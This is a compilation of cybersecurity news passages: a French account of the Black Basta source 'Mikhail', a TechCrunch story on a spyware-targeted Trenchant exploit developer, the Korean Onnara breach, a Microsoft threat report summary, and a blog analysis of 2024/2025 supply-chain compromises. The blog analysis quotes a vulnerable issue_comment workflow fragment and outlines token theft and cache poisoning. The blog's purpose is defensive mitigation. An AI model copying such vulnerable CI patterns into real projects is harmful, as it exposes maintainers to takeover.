Reste que, avec notamment l’aide des experts sollicités et d’autres sources, il a été possible de confirmer la validité de ce qui avait été fourni par « Mikhail ». Et d’aller bien au-delà. Tout en découvrant, en fil de l’enquête, que l’identité réelle de « Tramp » avait été vraisemblablement établie bien avant cela et ne relevait guère plus que du secret de polichinelle.
Les révélations de nos confrères du Monde apportent un éclairage nouveau sur cette enquête, tout en confortant la méthode qui lui a été rigoureusement appliquée. Pour les fins connaisseurs sollicités alors, il n’est pas invraisemblable que « Mikhail » ait été lié aux forces de l’ordre américaines.
Pour l’un de ces experts, qui a accepté que je partage ici son analyse sous condition d’anonymat, « la source disposait d’informations et de renseignements uniques qui démontraient une compréhension approfondie d’Oleg/Tramp. Ce type d’informations ne peut être obtenu que lorsque l’on dispose des bonnes ressources ».
De nombreuses questions sans réponse
En outre, « la personne à l’origine de la fuite n’a jamais laissé transparaître ses émotions et est toujours restée concentrée sur le sujet. Cela correspond à la possibilité que cette personne ait été associée aux forces de l’ordre et ait intentionnellement cherché des journalistes à qui divulguer ces informations ».
Dès lors, la motivation de « Mikhail » était « très probablement de légitimer les renseignements provenant de sources ouvertes afin qu’ils puissent ensuite être utilisés à des fins d’intervention officielle ».
Cela n’en laisse pas moins de nombreuses questions sans réponse. Personnellement, celles qui retiennent le plus mon attention concernent ce qui s’est passé le 21 juin 2024, à Erevan, sur American Street où, selon la presse locale, Oleg Nefedov a été interpellé à 11h du matin.
Que faisait-il dans cette rue de la capitale arménienne, longeant la rivière Hrazdan, qui ne mène qu’à l’ambassade des États-Unis ? Qui pouvait bien en espérer son extradition d’un pays dont le contrôle aux frontières était encore alors assuré par les services… russes ? À un mois près.
À cela s’ajoute la question du choix des journalistes. Peut-être « Mikhail » a-t-il estimé que je serais susceptible d’accompagner et d’épauler un journaliste bien en vue sur son marché cible. Lequel aurait dès lors été l’Allemagne. Mais pour envoyer un message à qui ?
techcrunch.com
Lorenzo Franceschi-Bicchierai
7:45 AM PDT · October 21, 2025
A developer at Trenchant, a leading Western spyware and zero-day maker, was suspected of leaking company tools and was fired. Weeks later, Apple notified him that his personal iPhone was targeted with spyware.
Earlier this year, a developer was shocked by a message that appeared on his personal phone: “Apple detected a targeted mercenary spyware attack against your iPhone.”
“I was panicking,” Jay Gibson, who asked that we don’t use his real name over fears of retaliation, told TechCrunch.
Gibson, who until recently built surveillance technologies for Western government hacking tools maker Trenchant, may be the first documented case of someone who builds exploits and spyware being themselves targeted with spyware.
“What the hell is going on? I really didn’t know what to think of it,” said Gibson, adding that he turned off his phone and put it away on that day, March 5. “I went immediately to buy a new phone. I called my dad. It was a mess. It was a huge mess.”
At Trenchant, Gibson worked on developing iOS zero-days, meaning finding vulnerabilities and developing tools capable of exploiting them that are not known to the vendor who makes the affected hardware or software, such as Apple.
“I have mixed feelings of how pathetic this is, and then extreme fear because once things hit this level, you never know what’s going to happen,” he told TechCrunch.
But the ex-Trenchant employee may not be the only exploit developer targeted with spyware. According to three sources who have direct knowledge of these cases, there have been other spyware and exploit developers in the last few months who have received notifications from Apple alerting them that they were targeted with spyware.
Apple did not respond to a request for comment from TechCrunch.
The targeting of Gibson’s iPhone shows that the proliferation of zero-days and spyware is starting to ensnare more types of victims.
Spyware and zero-day makers have historically claimed their tools are only deployed by vetted government customers against criminals and terrorists. But for the past decade, researchers at the University of Toronto’s digital rights group Citizen Lab, Amnesty International, and other organizations have found dozens of cases where governments used these tools to target dissidents, journalists, human rights defenders, and political rivals all over the world.
The closest public cases of security researchers being targeted by hackers happened in 2021 and 2023, when North Korean government hackers were caught targeting security researchers working in vulnerability research and development.
Suspect in leak investigation
Two days after receiving the Apple threat notification, Gibson contacted a forensic expert who has extensive experience investigating spyware attacks. After performing an initial analysis of Gibson’s phone, the expert did not find any signs of infection, but still recommended a deeper forensic analysis of the exploit developer’s phone.
A forensic analysis would have entailed sending the expert a complete backup of the device, something Gibson said he was not comfortable with.
“Recent cases are getting tougher forensically, and some we find nothing on. It may also be that the attack was not actually fully sent after the initial stages, we don’t know,” the expert told TechCrunch.
Without a full forensic analysis of Gibson’s phone, ideally one where investigators found traces of the spyware and who made it, it’s impossible to know why he was targeted or who targeted him.
But Gibson told TechCrunch that he believes the threat notification he received from Apple is connected to the circumstances of his departure from Trenchant, where he claims the company designated him as a scapegoat for a damaging leak of internal tools.
Apple sends out threat notifications specifically for when it has evidence that a person was targeted by a mercenary spyware attack. This kind of surveillance technology is often invisibly and remotely planted on someone’s phone without their knowledge by exploiting vulnerabilities in the phone’s software, exploits that can be worth millions of dollars and can take months to develop. Law enforcement and intelligence agencies typically have the legal authority to deploy spyware on targets, not the spyware makers themselves.
Sara Banda, a spokesperson for Trenchant’s parent company L3Harris, declined to comment for this story when reached by TechCrunch before publication.
A month before he received Apple’s threat notification, when Gibson was still working at Trenchant, he said he was invited to go to the company’s London office for a team-building event.
When Gibson arrived on February 3, he was immediately summoned into a meeting room to speak via video call with Peter Williams, Trenchant’s then-general manager who was known inside the company as “Doogie.” (In 2018, defense contractor L3Harris acquired zero-day makers Azimuth and Linchpin Labs, two sister startups that merged to become Trenchant.)
Williams told Gibson the company suspected he was double employed and was thus suspending him. All of Gibson’s work devices would be confiscated and analyzed as part of an internal investigation into the allegations. Williams could not be reached for comment.
“I was in shock. I didn’t really know how to react because I couldn’t really believe what I was hearing,” said Gibson, who explained that a Trenchant IT employee then went to his apartment to pick up his company-issued equipment.
Around two weeks later, Gibson said Williams called and told him that following the investigation, the company was firing him and offering him a settlement agreement and payment. Gibson said Williams declined to explain what the forensic analysis of his devices had found, and essentially told him he had no choice but to sign the agreement and depart the company.
Feeling like he had no alternative, Gibson said he went along with the offer and signed.
Gibson told TechCrunch he later heard from former colleagues that Trenchant suspected he had leaked some unknown vulnerabilities in Google’s Chrome browser, tools that Trenchant had developed. Gibson, and three former colleagues of his, however, told TechCrunch he did not have access to Trenchant’s Chrome zero-days, given that he was part of the team exclusively developing iOS zero-days and spyware. Trenchant teams only have strictly compartmentalized access to tools related to the platforms they are working on, the people said.
“I know I was a scapegoat. I wasn’t guilty. It’s very simple,” said Gibson. “I didn’t do absolutely anything other than working my ass off for them.”
The story of the accusations against Gibson and his subsequent suspension and firing was independently corroborated by three former Trenchant employees with knowledge.
Two of the other former Trenchant employees said they knew details of Gibson’s London trip and were aware of suspected leaks of sensitive company tools.
All of them asked not to be named but believe Trenchant got it wrong.
Korea JoongAng daily
Friday
October 17, 2025
The Korean government officially acknowledged Friday that hackers had accessed the Onnara system — a government work management platform — and administrative digital signature certificates called the government public key infrastructure (GPKI), which are essential for civil servant authentication.
Authorities said they are investigating how the breach occurred and assessing the extent of the damage, while also implementing new security measures.
During a press briefing at the government complex in Sejong, the Ministry of the Interior and Safety confirmed that “in mid-July, the National Intelligence Service (NIS) discovered signs that an external party accessed the Onnara system via the Government Virtual Private Network (G-VPN).”
Two months to acknowledge hacking
The statement came two months after a report by Phrack Magazine, a U.S.-based cybersecurity publication, claimed that the Ministry of the Interior and Safety, Ministry of Foreign Affairs, Ministry of Unification, Ministry of Oceans and Fisheries, telecom companies KT and LG U+ and private tech firms including Daum, Kakao and Naver, had all been targeted by hackers.
Until now, the Korean government had remained silent, but on Friday, it acknowledged the report’s claims were accurate.
The NIS is currently working with relevant agencies to determine how the breach occurred and to evaluate the scope of any data leaks. While the Ministry of the Interior and Safety said there has been no confirmed leak of government documents so far, it did not rule out the possibility of such leaks being uncovered during the investigation.
In response to the breach, the government has taken steps to strengthen its cybersecurity protocols.
“Since Aug. 4, remote access to the G-VPN has required not only digital signature authentication but also phone-based verification,” said Lee Yong-seok, head of the digital government innovation office at the Interior Ministry. “Additionally, we completed measures to prevent the reuse of login credentials for the Onnara system, which were applied to all central and local government agencies on July 28.”
Regarding GPKI, the government reviewed the validity of all certificates with information provided by the NIS. Most of the compromised certificates had already expired, and those that were still valid were revoked as of Aug. 13, according to the ministry.
NIS still investigating breach origin
The government also shared the preliminary results of its investigation into the cause of the breach, attributing it to user negligence that led to certificate information being leaked externally.
“All central and local government agencies have been instructed to stop sharing certificates and to strengthen management protocols,” the Interior Ministry said.
Although the North Korean hacking group Kimsuky was initially suspected to be behind the attack, the NIS said there was insufficient evidence to definitively identify the perpetrator. Kimsuky is known for targeting diplomatic, security and defense sectors to gather intelligence for the North Korean regime.
To counter security threats related to certificate theft or duplication, the government announced plans to replace GPKI-based authentication with biometric multi-factor methods, such as mobile government IDs for public officials.
The government also intends to expand the use of secure authentication technologies — including biometric-based digital IDs — across public services for the general population.
“If the NIS identifies any additional issues, we will immediately address and respond to them,” Lee said. “We will do everything we can to prevent a similar incident from happening again.”
The official Xubuntu website briefly served Windows malware to users trying to download the distro between 18-19 October. ISOs were not affected.
news.microsoft.com 16/10/2025
La Suisse occupe la neuvième place en Europe et la vingt-deuxième au niveau mondial parmi les pays où les clients sont le plus fréquemment touchés par une activité cyber au premier semestre 2025, selon le sixième rapport Microsoft Digital Defense publié aujourd’hui. Le pays représente environ 3,3 % de l’ensemble des organisations européennes touchées par une activité cybermalveillante — ce qui signifie qu’environ trois organisations européennes affectées sur cent sont suisses.
Principales conclusions :
Au moins 52 % des cyberattaques mondiales ont été motivées par le rançongiciel ou l’extorsion, tandis que 4 % seulement visaient exclusivement l’espionnage.
Les attaques basées sur l’identité ont augmenté de 32 % au premier semestre 2025, dont plus de 97 % étaient des attaques par mot de passe.
Dans 80 % des incidents étudiés par les équipes de sécurité de Microsoft l’an dernier, les attaquants cherchaient à voler des données à des fins financières.
Les hôpitaux, écoles, communes et systèmes de transport subissent des conséquences concrètes, telles que des retards dans les soins d’urgence ou des perturbations des services publics.
Les attaquants comme les défenseurs tirent parti de l’intelligence artificielle (IA) : les cybercriminels l’utilisent pour automatiser l’hameçonnage et créer du contenu synthétique, tandis que les défenseurs déploient des outils alimentés par l’IA afin de détecter et de contrer les menaces plus rapidement.
Les acteurs étatiques soutenus par la Russie, Chine, Iran et Corée du Nord continuent de cibler des secteurs sensibles, en s’intégrant de plus en plus dans les écosystèmes cybercriminels.
Le sixième rapport annuel Microsoft Digital Defense met en lumière en détail l’évolution des menaces informatiques et ce que les organisations doivent faire pour garder une longueur d’avance. Couvrant la période de juillet 2024 à juin 2025, le rapport montre que la cybercriminalité s’accélère en ampleur et en sophistication, motivée par des intérêts financiers et facilitée par l’automatisation et l’IA.
« Les données les plus récentes envoient un message clair : les organisations doivent renforcer leurs contrôles d’identité, corriger rapidement les systèmes critiques et tester régulièrement leurs plans de réponse aux incidents, » déclare Marc Holitscher, National Technology Officer chez Microsoft Suisse. « La cyberrésilience n’est plus un choix, c’est désormais une exigence fondamentale pour toutes les organisations, dans tous les secteurs. »
Microsoft traite plus de 100 000 milliards de signaux de sécurité par jour, analyse 5 milliards d’e-mails pour détecter les malwares et le phishing, bloque environ 4,5 millions de nouvelles tentatives de malware, évalue 38 millions de détections de risques liés à l’identité, et continue de renforcer sa sécurité à travers la Secure Future Initiative. L’entreprise collabore avec les secteurs public et privé pour prévenir la cybercriminalité et plaide pour des règles internationales garantissant un usage responsable d’Internet.
Les organisations peuvent agir immédiatement en mettant en œuvre une authentification multifacteur résistante au à l’hameçonnage, qui bloque plus de 99 % des attaques basées sur l’identité, même lorsque les attaquants possèdent les bons mots de passe.
filippo.io Filippo Valsorda
10.10.2025
Project compromises have common root causes we can mitigate: phishing, control handoff, and unsafe GitHub Actions triggers.
Lack of memory safety is such a predominant cause of security issues that we have a responsibility as professional software engineering to robustly mitigate it in security-sensitive use cases—by using memory safe languages.
Similarly, I have the growing impression that software supply chain compromises have a few predominant causes which we might have a responsibility as a professional open source maintainers to robustly mitigate.
To test this impression and figure out any such mitigations, I collected all 2024/2025 open source supply chain compromises I could find, and categorized their root cause. (If you find more, do email me!)
Since I am interested in mitigations we can apply as maintainers of depended-upon projects to avoid compromises, I am ignoring: intentionally malicious packages (e.g. typosquatting), issues in package managers (e.g. internal name shadowing), open source infrastructure abuse (e.g. using package registries for post-compromise exfiltration), and isolated app compromises (i.e. not software that is depended upon).
Also, I am specifically interested in how an attacker got their first unauthorized access, not in what they did with it. Annoyingly, there is usually a lot more written about the latter than the former.
2024/2025 Open Source Supply Chain Compromises
In no particular order, but kind of grouped.
XZ Utils
Long term pressure campaign on the maintainer to hand over access.
Root cause: control handoff.
Contributing factor: non-reproducible release artifacts.
Nx S1ingularity
Shell injection in GitHub Action with pull_request_target trigger and unnecessary read/write permissions4, used to extract a npm token.
Root cause: pull_request_target.
Contributing factors: read/write CI permissions, long-lived credential exfiltration, post-install scripts.
Shai-Hulud
Worm behavior by using compromised npm tokens to publish packages with malicious post-install scripts, and compromised GitHub tokens to publish malicious GitHub Actions workflows.
Root cause: long-lived credential exfiltration.
Contributing factor: post-install scripts.
npm debug/chalk/color
Maintainer phished with an “Update 2FA Now” email. Had TOTP 2FA enabled.
Root cause: phishing.
polyfill.io
Attacker purchased CDN domain name and GitHub organization.
Root cause: control handoff.
MavenGate
Expired domains and changed GitHub usernames resurrected to take control of connected packages.
Root causes: domain resurrection, username resurrection.
reviewdog and tj-actions/changed-files
Contributors deliberately granted automatic write access for GitHub Action repository5. Malicious tag re-published to compromise GitHub PAT of more popular GitHub Action6.
Root cause: control handoff.
Contributing factors: read/write CI permissions, long-lived credential exfiltration, mutable GitHub Actions tags.
Ultralytics
Shell injection in GitHub Action with pull_request_target trigger (which required read/write permissions), pivoted to publishing pipeline via GitHub Actions cache poisoning. Compromised again later using an exfiltrated PyPI token.
Root cause: pull_request_target.
Contributing factors: GitHub Actions cache poisoning, long-lived credential exfiltration.
Kong Ingress Controller
GitHub Action with pull_request_target trigger restricted to trusted users but bypassed via Dependabot impersonation7, previously patched but still available on old branch. GitHub PAT exfiltrated and used.
Root causes: pull_request_target, Dependabot impersonation.
Contributing factors: per-branch CI configuration, long-lived credential exfiltration.
Rspack
Pwn request1 against issue_comment workflow2 in other project, leading to a GitHub classic token of a maintainer with permissions to the web-infra-dev organization8 (kindly confirmed via email by the Rspack Team). Similar to previously reported and fixed vulnerability3 in the Rspack repository.
Root causes: issue_comment.
Contributing factor: long-lived credential exfiltration.
eslint-config-prettier
“Verify your account”9 npm phishing.
Root cause: phishing.
num2words
“Email verification” PyPI phishing.
Root cause: phishing.
@solana/web3.js
A “phishing attack on the credentials for publishing npm packages.”
Root cause: phishing.
rustfoundation.dev
Fake compromise remediation10 Crates.io phishing. Unclear if successful.
Root cause: phishing.
React Native ARIA & gluestack-ui
“[U]nauthorized access to publishing credentials.” Colorful and long Incident Report lacks any details on “sophisticated” entry point. Presumably an exposed npm token.
Root cause: long-lived credential exfiltration(?).
lottie-player
Unclear, but mitigation involved “remov[ing] all access and associated tokens/services accounts of the impacted developer.”
Root cause: long-lived credential exfiltration(?) or control handoff(?).
rand-user-agent
Unclear. Malicious npm versions published, affected company seems to have deleted the project. Presumably npm token compromise.
Root cause: long-lived credential exfiltration(?).
DogWifTool
GitHub token extracted from distributed binary.
Root cause: long-lived credential exfiltration.
Summary of vectors and mitigations
Phishing (5 root)
Surprising no one, the most popular confirmed initial compromise vector is phishing. It works against technical open source maintainers. It works against 2FA TOTP. It. Works. It is also very fixable.
It’s 2025 and every professional open source maintainer should be using phishing-resistant authentication (passkeys or WebAuthn 2FA) on all developer accounts, and accounts upstream of them.
Upstream accounts include email, password manager, passkey sync (e.g. Apple iCloud), web/DNS hosting, and domain registrar.
Some services, such as GitHub, require a phishable 2FA method along with phishing-resistant ones. In that case, the best option is to enable TOTP, and delete the secret or write it down somewhere safe and never ever use it—effectively disabling it. This does not work with SMS, since SIM jacking is possible even without action by the victim.
Control handoff (3+1? root)
Actually surprisingly—to me—a number of compromises are due to, effectively, giving access to the attacker.
This is a nuanced people issue. The solution is obviously “don’t do that” but that really reduces to the decades-old issue of open source maintenance sustainability. In a sense, since this analysis is aimed at professional maintainers who can afford it, control handoff is easily avoided by not doing it.
pull_request_target and issue_comment (4 root)
Kind of incredible that a specific feature has a top 3 spot, but projects get compromised by “pwn requests” all the time.
The pull_request_target workflow trigger runs privileged CI with a context full of attacker-controlled data in response to pull requests. It makes a meek attempt to be safer by not checking out the attacker’s code, instead checking out the upstream target. That’s empirically not enough, with shell injection attacks causing multiple severe compromises.
The zizmor static analyzer can help detect injection vulnerabilities, but it seems clear that pull_request_target is unsafe at any speed, and should just never be used.
Other triggers that run privileged with attacker-controlled context should be avoided for the same reason. The Rspack compromise, for example, was due to checking out attacker-controlled code on an issue_comment trigger if the PR receives a comment.
on:
issue_comment:
types: [created]
jobs:
issue_comment:
if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary')
runs-on: ubuntu-latest
steps:
What are the alternatives?
One option is to implement an external service in a language that can safely deal with untrusted inputs (i.e. not YAML’d shell), and use webhooks. That unfortunately requires long-lived credentials (see below).
GitHub itself recommends using the unprivileged pull_request trigger followed by the workflow_run trigger, but it’s unclear to me how safer that would actually be against injection attacks.
Finally, since two out of three compromises were due to shell injection, it might be safer to use a proper programming language, like JavaScript with actions/github-script, or any other language accessing the context via environment variables instead of YAML interpolation. This means not using any third-party actions, as well.
Allowlisting actors and read-only steps are not robust mitigations, see Read/write CI permissions and Dependabot impersonation below.Overall, none of the mitigations are particularly satisfactory, so the solution might be simply to eschew features that require pull_request_target and other privileged attacker-controlled triggers. (To be honest, I am not a fan of chatty bots on issues and PRs, so I never needed them.)
Long-lived credential exfiltration (2+3? root, 5 contributing)
Attackers love to steal tokens. There is no universal solution, but it’s so predominant that we can consider piecemeal solutions.
Long-lived credentials are only a root cause when they are accidentally exposed. Otherwise, they are a secondary compromise mechanism for lateral movement or persistence, after the attacker got privileged code execution. Mitigating the latter is somewhat less appealing because an attacker with code execution can find more creative ways to carry out an attack, but we can prune some low-hanging fruit.
Go removes the need for package registry tokens by simply not having accounts. (Instead, the go command fetches modules directly from VCS, with caching by the Go Modules Proxy and universality and immutability guaranteed by the Go Checksum Database.) In other ecosystems Trusted Publishing replaces long-lived private tokens with short-lived OIDC tokens, although there is no way to down-scope the capabilities of an OIDC token.
GitHub Personal Access Tokens are harder to avoid for anything that’s not supported by GitHub Actions permissions. Chainguard has a third-party Security Token Service that trades OIDC tokens for short-lived tokens, and their article has a good list of cases in which PATs end up otherwise necessary. Given the risk, it might be worth giving up on non-critical features that would require powerful tokens.
Gerrit “git cookies” (which are actually just OAuth refresh tokens for the Gerrit app) can be replaced with… well, OAuth refresh tokens but kept in memory instead of disk, using git-credential-oauth. They can also be stored a little more safely in the platform keychain by treating them as an HTTP password, although that’s not well documented.
In the long term, it would be great to see the equivalent of Device Bound Session Credentials for developer and automated workflows.
Dependabot impersonation (1 root)
Turns out you can just exfiltrate a token from a GitHub Actions runner to impersonate Dependabot with arbitrary PRs???
I guess! Fine! Just don’t allowlist Dependabot. Not sure what a deeper meta-mitigation that didn’t require knowing this factoid would have been.
Domain and username resurrection (1 root)
Multiple ecosystems (Go and Maven, for example) are vulnerable to name takeovers, whether expired domain names or changed GitHub user/org names. The new owner of the name gets to publish updates for that package.
From the point of view of the maintainer, the mitigation is just not to change GitHub names (at least without registering the old one), and to register critical domains for a long period, with expiration alerting.
Read/write CI permissions (0 root, 2 contributing)
Some CI compromises happened in contexts that could or should have been read-only. It sounds like giving GitHub Actions workflows only read permissions like contents: read should be a robust mitigation for any compromise of the code they run.
Unfortunately, and kind of incredibly, even a read-only workflow is handed a token that can write to the cross-workflow cache for any key. This cache is then used implicitly by a number of official actions, allowing cross-workflow escalation by GitHub Actions cache poisoning.
This contradicts some of GitHub’s own recommendations, and makes the existence of a setting to make GitHub Actions read-only by default more misleading than useful.
The behavior does not extend to regular pull_request triggers, which are actually read-only (otherwise anyone could poison caches with a PR). GitHub simply doesn’t seem to offer a way to opt in to it.
I can see no robust mitigation in the GitHub ecosystem. I would love to be wrong, this is maddening.
Post-install scripts (0 root, 2 contributing)
Two compromises propagated by injecting npm post-install scripts, to obtain code execution as soon as a dependency was installed.
This can be disabled with
npm config set ignore-scripts true
which is worth doing for defense in depth. However, it’s only useful if the dependency is not going to be executed in a privileged context, e.g. to run tests in Node.js.
Go, unlike most ecosystems, considers code execution during fetch or compilation to be a security vulnerability, so has this safety margin by default.
Non-reproducible release artifacts (0 root, 1 contributing)
The XZ backdoor was hidden in a release artifact that didn’t match the repository source. It would be great if that was more detectable, in the form of reproducible artifacts.
The road to a fail-closed world where systems automatically detect non-reproducing artifacts is still long, though.
Mutable GitHub Actions tags (0 root, 1 contributing)
How supply chain attacks usually work these days is that an attacker gets the ability to publish new versions for a package, publishes a malicious version, and waits for dependents to update (maybe with the help of Dependabot) or install the latest version ex novo.
Not with GitHub Actions! The recommended and most common way to refer to a GitHub Action is by its major version, which is resolved to a git tag that is expected to change arbitrarily when new versions are published. This means that an attacker can instantly compromise every dependent workflow.
This was an unforced error already in 2019, when GitHub Actions launched while Go had already shipped an immutable package system. This has been discussed many times since and most other ecosystems have improved somewhat. A roadmap item for immutable Actions has been silent since 2022. The new immutable releases feature doesn’t apply to non-release tags, and the GitHub docs still recommend changing tags for Actions.
As maintainers, we can opt in to pinning where it’s somehow still not the default. For GitHub Actions, that means using unreadable commit hashes, which can be somewhat ameliorated with tooling. For npm, it means using npm ci instead of npm install.
Per-branch CI configuration (0 root, 1 contributing)
One compromise was due to a vulnerability that was already fixed, but had persisted on an old branch. Any time we make a security improvement (including patching a vulnerable Action) on a GitHub Actions workflow, we need to remember to cherry-pick it to all branches, including stale ones.
Can’t think of a good mitigation, just yet another sharp edge of GitHub Actions you need to be aware of, I suppose.
Summary
There are a number of useful mitigations, but the ones that appear to be as clearly a professional responsibility as memory safety are
phishing-resistant authentication;
not handing over access to attackers; and
avoiding privileged attacker-controlled GitHub Actions triggers (e.g. pull_request_target).